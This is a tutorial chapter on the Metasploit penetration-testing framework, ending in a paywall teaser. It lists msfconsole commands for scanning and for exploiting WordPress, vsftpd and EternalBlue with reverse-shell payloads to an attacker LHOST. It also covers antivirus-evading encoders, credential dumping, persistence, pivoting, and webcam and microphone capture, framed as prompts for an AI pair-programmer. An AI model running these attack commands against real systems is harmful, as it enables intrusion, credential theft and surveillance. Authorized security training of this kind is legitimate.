Metasploit Framework

Vibe Prompt

「Help me scan a target host for open ports and service versions using Metasploit.」

Basic Commands

# Start the Metasploit console
msfconsole

# TCP port scan auxiliary module
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.0.0.1
msf6 > set PORTS 1-1000
msf6 > run

# Example exploit module for WordPress RCE
msf6 > use exploit/unix/webapp/wordpress_rce
msf6 > set RHOSTS target.com
msf6 > set PAYLOAD php/meterpreter/reverse_tcp
msf6 > set LHOST your-ip-address
msf6 > exploit

Frequently Used Modules

| Module | Purpose | |-------------------------------------|--------------------------------------------------------------------| | auxiliary/scanner/portscan/tcp | TCP port scanner | | auxiliary/scanner/http/wordpress_scanner | WordPress version and plugin enumeration | | auxiliary/scanner/ssl/openssl_heartbleed | Heartbleed vulnerability detection | | exploit/multi/handler | Generic listener for reverse shells | | post/multi/gather/ssh_creds | Harvest SSH credentials from compromised hosts | | post/windows/gather/credentials/credential_collector | Gather Windows credentials from LSASS, SAM, etc. | | exploit/linux/http/drupal_drupageddon2 | Drupalgeddon2 remote code execution exploit | | auxiliary/admin/http/redirect | Simple HTTP redirect module for phishing simulations |

What Is Metasploit?

Metasploit is an open‑source penetration testing framework that provides a unified interface for discovering, exploiting, and validating vulnerabilities across networks, applications, and devices. Its core components include:

  • msfconsole – The interactive command‑line interface where all activities begin.
  • Exploits – Code modules that take advantage of specific software flaws.
  • Payloads – The code that runs on the target after a successful exploit (e.g., Meterpreter, shellcode).
  • Encoders – Transform payloads to evade signature‑based detection.
  • NOPS – No‑operation sleds used to increase reliability of exploit execution.
  • Post‑exploitation modules – Perform actions after gaining access, such as credential dumping, privilege escalation, and data collection.
  • Auxiliary modules – Scanners, fuzzers, and support tools that do not gain a shell but provide valuable intelligence.

Why Learn Metasploit? (Business Value & Financial Return)

  1. Time Efficiency – Rather than writing custom exploits from scratch, security teams can leverage over 2,000 vetted modules, reducing development cycles from days to minutes.
  2. Standardization – Metasploit is the de‑facto industry standard; reports, remediation tickets, and audit findings reference Metasploit module names, making cross‑team communication clearer.
  3. Cost Savings – Automating repetitive scanning and exploitation tasks lowers the billable hours required for a penetration test, allowing firms to deliver more assessments per engagement.
  4. Skill Transferability – Proficiency with Metasploit translates directly to roles such as Red Team Operator, Vulnerability Analyst, and SOC Engineer, which command salaries ranging from $90k to $150k+ in many markets.
  5. Risk Reduction – By identifying and validating weaknesses before attackers do, organizations can prioritize patching, thereby decreasing the likelihood of costly breaches (average breach cost > $4M per IBM 2023 report).
  6. Compliance Alignment – Many regulatory frameworks (PCI‑DSS, HIPAA, ISO 27001) require regular penetration testing; Metasploit provides auditable, repeatable test procedures that satisfy auditors.

How We Will Implement It – Vibe Coding Approach

Vibe Coding emphasizes rapid prototyping, iterative feedback, and clear separation of concerns. In this chapter we will:

  1. Explore the msfconsole environment – Learn navigation, help system, and workspace management.
  2. Run auxiliary scanners – Perform service discovery, version detection, and vulnerability checks.
  3. Select and configure exploits – Match exploit modules to target OS/service, set required options (RHOSTS, RPORT, etc.).
  4. Choose appropriate payloads – Understand staged vs. stageless payloads, Meterpreter capabilities, and reverse vs. bind shells.
  5. Apply encoders and NOP sleds – Bypass basic antivirus and increase reliability.
  6. Execute post‑exploitation – Gather hashes, dump secrets, pivot to internal networks.
  7. Automate repetitive tasks – Write resource scripts (.rc) and Python scripts that call the Metasploit RPC API.
  8. Integrate with external tools – Combine Nmap, Nessus, and OSINT frameworks for enriched reconnaissance.
  9. Document and report – Generate HTML/JSON reports via Metasploit’s built‑in reporting or custom scripts.

Each step will be accompanied by a Vibe Prompt that demonstrates how a developer could ask an AI pair‑programmer to generate the exact command or script needed, reinforcing the learn‑by‑doing mindset.

Deep Dive: msfconsole Navigation & Workspace Management

  • Starting msfconsole: msfconsole launches with a banner showing version and database status.
  • Help system: help or ? lists core commands; show exploits, show payloads, show encoders, show auxiliary, show post display available modules.
  • Searching: search type:exploit platform:linux name:ssh filters modules by keywords.
  • Using a module: use exploit/linux/ssh/ssh_double_key loads the module into context.
  • Showing options: show options displays required and optional parameters; set assigns values.
  • Running: exploit or run (for auxiliaries) launches the module.
  • Workspace: workspace -a pentest2024 creates a new workspace to keep loot, logs, and credentials separate per engagement.
  • Database: Metasploit uses PostgreSQL; db_status confirms connectivity; db_nmap -sV -oA scan 10.0.0.0/24 imports scan results directly.
  • Logging: spool /tmp/msf.log captures all console output for later review.

Auxiliary Scanning in Detail

Port Scanning

use auxiliary/scanner/portscan/syn
set RHOSTS 10.0.0.0/24
set PORTS 22,80,443,3306
set THREADS 50
run
  • SYN scan is stealthier than TCP connect; it sends SYN packets and waits for SYN‑ACK.
  • Adjust THREADS to balance speed vs. network noise.
  • Results appear in the console and are stored in the database under services.

Service & Version Detection

use auxiliary/scanner/http/http_version
set RHOSTS 10.0.0.10
set RPORT 8080
run
  • Retrieves server header, powered‑by technologies, and can hint at outdated components.

Vulnerability Specific Scanners

  • Heartbleed: auxiliary/scanner/ssl/openssl_heartbleed
  • SMB version: auxiliary/scanner/smb/smb_version
  • MySQL authentication bypass: auxiliary/scanner/mysql/mysql_version

Each scanner sets relevant options (e.g., SSL, SMBSHARE) and outputs a clear “Vulnerable” or “Safe” flag.

Exploit Selection & Configuration

Matching Exploit to Target

  1. Identify service via scanning (e.g., vsftpd 2.3.4).
  2. Search: search vsftpd → yields exploit/unix/ftp/vsftpd_234_backdoor.
  3. Check requirements: show options may require RHOSTS only.
  4. Set payload: set PAYLOAD cmd/unix/interact for a simple command shell, or set PAYLOAD linux/x86/meterpreter/reverse_tcp for Meterpreter.

Example: Exploiting vsftpd 2.3.4 Backdoor

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.0.15
set PAYLOAD cmd/unix/interact
exploit
  • This module triggers a backdoor that listens on port 6200 and spawns a shell.
  • After gaining a shell, you can upgrade to Meterpreter via sessions -u 1.

Payload Deep Dive

Staged vs. Stageless

  • Stageless (e.g., windows/shell/reverse_tcp) sends the entire payload in one go; larger size may be blocked by IDS.
  • Staged (e.g., windows/meterpreter/reverse_tcp) sends a small stub first, which then downloads the full Meterpreter stage; reduces chance of detection.

Meterpreter Capabilities

  • File system: ls, cd, download, upload
  • Process: ps, migrate, kill
  • Network: portfwd, run autoroute
  • Privilege escalation: getsystem, bypassuac
  • Information gathering: hashdump, enum_logged_on_users, screenshot
  • Persistence: run persistence -X -i 5 -p 3000 -r <attacker_ip> creates a scheduled task or service.

Choosing LHOST/LPORt

  • Ensure the attacker IP is reachable from the target (no firewall blocking).
  • Commonly use ports 443 or 80 to blend with HTTPS/HTTP traffic.
  • If NAT is involved, set up port forwarding or use a reverse HTTP/S payload (windows/meterpreter/reverse_http).

Encoders & Evasion Techniques

Why Encode?

Antivirus signatures often flag raw shellcode. Encoding obscures the payload while preserving functionality.

Common Encoders

| Encoder | Description | |-----------------------|-----------------------------------------------| | x86/shikata_ga_nai | Polymorphic XOR additive feedback encoder (default) | | x86/call4_dword_xor | Uses CALL instruction to avoid null bytes | | x86/fnstenv_mov | Uses FPU environment storage technique | | cmd/powershell_base64 | Base64‑encodes PowerShell scripts |

Usage Example

set ENCODED true
set Encoder x86/shikata_ga_nai
set EnableStageEncoding true
  • Metasploit will automatically apply the encoder before sending the payload.
  • For advanced evasion, combine with encrypt and inject techniques or use custom shellcode loaders.

Post‑Exploitation Modules

Credential Harvesting

  • Windows: post/windows/gather/credentials/credential_collector pulls hashes from LSASS, SAM, SECURITY.
  • Linux: post/linux/gather/hashdump reads /etc/shadow if root.
  • SSH Keys: post/multi/gather/ssh_creds searches for id_rsa, id_dsa files.

Privilege Escalation

  • Windows: post/windows/escalate/getsystem attempts multiple techniques (named pipe impersonation, token kidnapping).
  • Linux: post/linux/escalate/exploit_suid looks for SUID binaries with known exploits.

Lateral Movement & Pivoting

run autoroute -s 10.10.10.0/24
run autoroute -p
  • Adds a route through the compromised host to reach internal subnets.
  • Combine with socks4a or socks5 auxiliary modules to proxy traffic.

Data Exfiltration

  • Use download to pull files.
  • Use webcam_snap or screenshot for visual intelligence.
  • Use record_mic for audio capture (if applicable).

Automating Metasploit with Resource Scripts & RPC

Resource Scripts (.rc)

A plain‑text file containing msfconsole commands, executed with -r.

# scan.rc
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.0.0/24
set PORTS 1-1024
set THREADS 100
run

Execute: msfconsole -r scan.rc

Metasploit RPC API

Allows external programs (Python, Ruby, Bash) to interact programmatically.

import pymetasploit3.msfrpc as msfrpc

client = msfrpc.Msfrpc({'password': 'secret'})
client.login('msf', 'secret')
console = client.consoles.console()
console.write('use exploit/windows/smb/ms17_010_eternalblue\n')
console.write('set RHOSTS 10.0.0.20\n')
console.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n')
console.write('set LHOST 192.168.56.1\n')
console.write('exploit\n')
  • Enables CI/CD pipelines to launch automated penetration tests nightly.
  • Results can be parsed and fed into ticketing systems (Jira, ServiceNow).

Integrating Nmap & OSINT

Nmap Import

db_nmap -sS -sV -O -oA external_scan 203.0.113.0/24
  • The -oA saves output in all formats; Metasploit automatically parses the XML and populates the hosts and services tables.

OSINT Enrichment

| Tool | What It Adds | |---------------|------------------------------------------------| | theHarvester | Email addresses, subdomains, employee names | | Shodan | Internet‑facing device banners, vulnerabilities | | Censys | Certificate transparency data, host metadata | | Recon-ng | Modular framework for passive reconnaissance | | Maltego | Graph‑based link analysis of entities |

You can feed OSINT results into Metasploit via custom auxiliary modules or by manually setting RHOSTS based on discovered assets.

Best Practices & Common Pitfalls

Do’s

  • Always work in a scoped engagement – Obtain written permission before scanning or exploiting.
  • Use a dedicated lab – Isolate testing from production networks (e.g., using VirtualBox, VMware, or cloud sandboxes).
  • Update regularlymsfupdate pulls the latest exploit database and fixes.
  • Leverage workspaces – Keeps loot, logs, and credentials separated per client or test.
  • Document every step – Use spool and resource scripts to produce an auditable trail.
  • Validate findings – Manually confirm that a reported vulnerability is exploitable before marking it as critical.

Don’ts

  • Don’t run aggressive scans against production – Can cause denial‑of‑service or trigger IR alerts.
  • Don’t rely solely on automated exploits – Manual verification reduces false positives.
  • Don’t ignore antivirus/EDR – Test payloads against target defenses; consider using evade or bypass modules.
  • Don’t leave sessions open – Clean up with sessions -K <id> to avoid leaving backdoors.
  • Don’t neglect post‑exploitation cleanup – Remove uploaded scripts, clear event logs if permitted by scope.

Advanced Techniques

Custom Exploit Development

  • Write a Ruby module under `modules

Unlock Full Tutorial

This chapter is paid content. Join the project to unlock over 5000 words of deep analysis, including 10+ god-tier Prompts and real Source Code examples!